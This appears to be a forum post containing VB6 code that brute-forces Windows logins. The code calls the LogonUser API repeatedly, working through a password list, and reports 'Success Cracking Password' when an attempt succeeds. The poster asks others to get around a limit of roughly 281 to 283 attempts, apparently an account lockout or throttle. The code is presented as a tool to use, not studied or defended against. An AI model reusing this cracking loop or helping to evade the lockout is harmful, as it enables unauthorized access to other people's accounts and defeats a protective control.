The code below goes to the clsLogin.cls which is a class module in VB6
Event LoginStatus(Success As Boolean, System As String, User As String, Pass As String)
Public UserName As String
Public SystemName As String
Public Password As String
Private Const SysConst="Enter System Name"
Sub Login()
On Error Resume Next
Dim hToken As Long
Dim Ret As Long
Dim Sys As String
Sys = SystemName
If SystemName = SysConst Then Sys = vbNullString
If Password = "" Then Password = vbNullString
Ret = LogonUser(UserName, Sys, Password, 3, 0, hToken)
CloseHandle (hToken)
Dim Success As Boolean
Success = Not (Ret = 0)
DoEvents
RaiseEvent LoginStatus(Success, SystemName, UserName, Password)
DoEvents
End Sub
'*********************************************************************
I can call this class as follows:
Dim withevents Login as clsLogin
Set Login=new clslogin
Login.username="shoejeep"
login.systemname="LUVS"
login.password="love"
Login.Login
In the event FIred
Private Sub LoginStatus(Success, SystemName, UserName, Password)
If success then
msgbox "Success Cracking Password"
else
login.password=<Next Password>
login.login
end if
End Sub
'The Problem is that I can try this login for only 281 or 283 times using a password list
Can anyone solve the Problem
I am looking Forward to it